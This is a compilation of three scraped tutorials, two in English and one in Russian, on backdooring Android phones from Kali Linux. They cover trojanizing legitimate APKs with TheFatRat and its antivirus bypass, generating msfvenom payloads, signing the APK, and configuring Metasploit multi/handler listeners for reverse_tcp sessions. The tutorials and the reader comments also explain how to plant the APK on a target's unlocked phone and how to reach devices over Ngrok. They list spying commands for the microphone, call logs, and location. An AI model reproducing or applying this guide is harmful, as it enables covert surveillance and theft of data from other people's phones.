Android hacks kali linux

Android Rat – TheFatRat Pentesting Tool to Hack and Gain access to Targeted Android Phone

TheFatRat is a simple Android RAT tool to build a backdoor and post exploitation attacks like browser attack. This Android RAT tool produces a malware with mainstream payload and afterward, the perfectly crafted malware will be executed on Windows, Android, Macintosh.

Malware that generated through TheFatRat has the ability to bypass Antivirus. By bypassing AV & Firewalls allows attackers to gain a Meterpreter session.

Also learn Android Hacking and Penetration Testing Course online from one of the best Cybersecurity Elearning platforms.

Automating Metasploit functions in this Android RAT

• Create backdoor for Windows, Linux, Mac, and Android
• This Android RAT Bypass antivirus backdoor
• Checks for Metasploit service and starts if not present
• Easily craft meterpreter reverse_tcp payloads for Windows, Linux, Android and Mac and another
• Start multiple meterpreter reverse_tcp listeners
• Fast Search in searchsploit
• Bypass AV
• File pumper
• Create backdoor with another technique
• Autorun script for listeners ( easy to use )

Gaining access to Targeted Android Phone – Android RAT (TheFatRat )

You can download this Android RAT tool TheFatRaT from Github

git clone https://github.com/Screetsec/TheFatRat.git

Once this command executed it would clone and stored under TheFatRat.

cd TheFatRat

Then we need to provide execute permission and run setup.sh

chmod +x setup.sh && ./setup.sh

Installation would take 10 to 15 minutes, during the process it checks for missing components if anything missing it will automatically download and install it.

Once installation completed you will be provided with the list of options to create a payload.

In this Kali Linux Tutorial, we go on backdooring with original APK file like, so we need to select option 5 here.

In the mean, we should have download any popular Android application file APK and then need to enter the path of the file.

Once it has done all we need to select the Meterpreter to use, here we have selected reverse_tcp.

And then you need to select the tool to be used in APK creation.

APK build in process, it decompiles the original APK to insert payloads and then recompile the application. It uses obfuscation methods to include payloads also it appends a digital signature.

Once you have the payload created with original APK file you can move to mobile phones through File transfer or any other ways.

Then we need to setup me meterpreter session through msfconsole.

msfconsole
use multi/handler
set payload android/meterpreter/reverse_tcp
set lhost (your ip)
set lport (same port provided before)
exploit

Once the application installed, you will get the meterpreter session and complete control over the device.

By typing ‘help‘ you can find all the possible commands to execute.

in this Android RAT tool, You can dump calls, contacts, messages and even you can snaps with the mobile remotely.

Credit to TheFatRat Authors team for building such an Awesome and easy to implement this Android RAT tool.

You can follow us on Linkedin, Twitter, Facebook for daily Cybersecurity updates also you can take the Master in Wireshark Network Analysis to keep your self-updated.

Источник

How to Access an Android Phone using Kali Linux

An Android smartphone is often a gateway to most commercial IoT gadgets. A Nest Smoke alarm is managed through a relevant Android app. So is a Nest Thermostat to control the temperature. Smart locks, doorbell cams – almost all smart devices can be accessed from Alexa or other master apps. What if someone were to gain remote access to such an Android phone? You think this is impossible? For this, we will give a basic demo of how a Kali Linux “metasploit” can be used to create a backdoor entry to your Android phone.

Note: this tutorial is for security researchers and hobbyists. We do not recommend hacking anyone’s phone without their permission.

Background

Before you begin work on Kali Linux, you first need to familiarize yourself with its console terminal.

It readily hosts a comprehensive list of tools which are designed to target a device’s firmware or operating system.

Here, we will use one of the common tools called “MSFVenom” to insert a virus in an Android phone. It generates multiple kinds of payloads based on user selected options. The exploit works across many platforms including Windows, Android, OpenBSD, Solaris, JAVA, PHP, and gaming hardware.

Launching an Android Metasploit

The following steps will demonstrate how to download MSFVenom on a Kali Linux system.

Start the terminal and enter the following command.

Here, the payload is launched using an Exploit extension calleed “Meterpreter”.

To determine the IP address of the listener host, open a new console terminal and enter ifconfig . Usually, port 4444 is assigned for trojans, exploits, and viruses.

Once the IP address has been determined, go back to the previous screen and enter the details.

The file “hackand.apk” will be saved in the desktop and is the main backdoor exploit to be used on the Android phone.

In the next step, launch “msfconsole” which is a common penetration testing tool used with Kali Linux. For this, enter service postgresql start followed by msfconsole . PostgreSQL refers to a database where the console has been stored.

Once the penetration tool is ready, you can launch the remaining exploit.

Next, an executable called “multi-handler” will be used.

Refer to the image below for connecting the exploit with the console. The same IP address and port numbers will be used.

In the next stage, the msfvenom exploit will be launched and initialized with a simple exploit command. Now, we have to find a target which will be an Android phone.

Connecting Kali Linux Terminal with Android Phone

The hackand.apk file which we downloaded earlier is only 10 KB in size. You will have to find a way to insert the file in the target’s phone. You can transfer the virus using USB or a temporary email service.

Generally, webmail providers such as Gmail or Yahoo will refuse to carry this virus infected file.

Android will warn you before you insert the software. But, it just takes less than 20 seconds to complete the installation as you only have to “ignore the risk and install.” This makes the threat somewhat serious if your phone is in unlock mode.

As shown here, a lot of damage can be done to the phone including modifying the storage contents, preventing phone from sleep, connecting and disconnecting from Wi-Fi, setting wallpaper, and more.

Once the APK file is installed, it can be cleverly disguised within the phone.

Now, you can use many commands like the following on Kali Linux terminal to control the phone. You don’t have to remember them really as the list is available from a simple help option in meterpreter .

• record_mic : recording the microphone
• dump calllog : get the call log
• webcam_chat : start a video chat
• geolocate : get the phone’s current location

Most advanced Android phones will prevent this malicious app from getting installed. So, this exploit will generally work with older Android models.

Also read: 10 Best Hacking Apps for Android

Thoughts

In this tutorial, we saw a basic strategy of using Kali Linux to gain access to an Android smartphone. Even though this is a very simple exploit, it has great implications in terms of IoT security.

What do you think of Kali Linux exploits? Will you be more cautious about your phone’s security? Do let us know in the comments.

Never Miss Out

Receive updates of our latest tutorials.

Sayak Boral is a technology writer with over eleven years of experience working in different industries including semiconductors, IoT, enterprise IT, telecommunications OSS/BSS, and network security. He has been writing for MakeTechEasier on a wide range of technical topics including Windows, Android, Internet, Hardware Guides, Browsers, Software Tools, and Product Reviews.

8 comments

It gets stuck on [*] started reverse TCP handler

The KL terminal is waiting to detect any target device that will open the payload. Remember this is a penetration test so if the exploit fails to penetrate the phone, it means your Android phone was patched so this specific exploit may not work because your phone doesn’t let a suspicious network listen to. Only if the penetration was successful, a Meterpreter session will start. Your phone has to be connected to same Wi-Fi as the KL terminal PC. A penetration attempt, by definition, is not always successful so you must keep trying it with other exploits and tools which you can find on https://tools.kali.org/. One way (method not covered in this article) is to use a port forwarding service on your KL terminal like Ngrok. But have noted this issue, and we will try to bring a new article which deals with solutions to common stalled penetration attempts.

perfect… but it doesn’t clear for me about how to insert that file to target phone. Is their clear way…

See the last section. It’s a penetration test so the objective is to test a phone’s vulnerability to a potential. The only way this test will work is to find an unlocked phone where the payload file (hackand.apk) is inserted manually or by using a temporary email service. It should take around 3-5 minutes to insert the file.

how can we send the file via a temporary email service

it dosn’t work for me when the trojan is insert its automaticly closed after 30 seconds (session died) do you have a solution for that ?and thanks for all …

Источник

Краткое руководство: Как взломать андроид с Kali Linux

Главное меню » Операционная система Linux » Краткое руководство: Как взломать андроид с Kali Linux

Предпосылки для взлома Android

1. Kali Linux
2. Android телефон: Для демонстрационных целей использовался Android emulator предоставленный Google.

Шаги для взлома Android

1. Создать Payload

Чтобы создать троян для взлома Android, нам нужно создать полезную нагрузку, используя утилиту msfvenom в Kali Linux.

В приведенной выше команды LHOST задан IP, используется в команде ifconfig от Kali Linux.

Вышеуказанная команда создает троянский файл apk, который будет установлен на целевой телефон для использования, однако перед этим мы должны подписать этот apk для правильной установки. Следуйте шагам ниже по списку для этого.

а. Создание хранилища ключей:

Выше команда спрашивает вопросы и пароль.

б. Подписать созданный файл с помощью jarsigner apk.

с. Проверьте apk, созданный с помощью jarsigner.

д. Оптимизация файла с помощью zipalign apk.

Перед тем как начать работу, установите zipalign с помощью команды ниже:

Теперь позвольте оптимизировать apk.

Таким образом, наш окончательный apk, который мы используем для взлома андроида назван как «my0704_sign.apk».

2. Запустите msfconsole на Kali Linux для эксплуатации телефона Android.

В приведенной выше строке msf запустить полезную нагрузку на андроид и мультиобработчик команд exploit с помощью ниже:

В команде ниже мы используем IP Kali Linux, может быть взят с помощью команды ifconfig на Kali Linux. Кроме того, мы используем номер порта 4444 для эксплуатации.

А затем, наконец, использовать команду, которая будет ждать исполнения apk на телефоне Android.

Выполнение apk на андроиде.

Здесь мы используем Android эмулятор предоставленный Google. Следовательно , вам необходимо загрузить образ ISO с сайта Google.

После загрузки вы можете создать нормальную виртуальную машину VMware и смонтировать этот ISO на виртуальной машине, чтобы запустить виртуальную машину машину. Настройка Android VM с помощью id gmail.

Если вы нашли ошибку, пожалуйста, выделите фрагмент текста и нажмите Ctrl+Enter.

Источник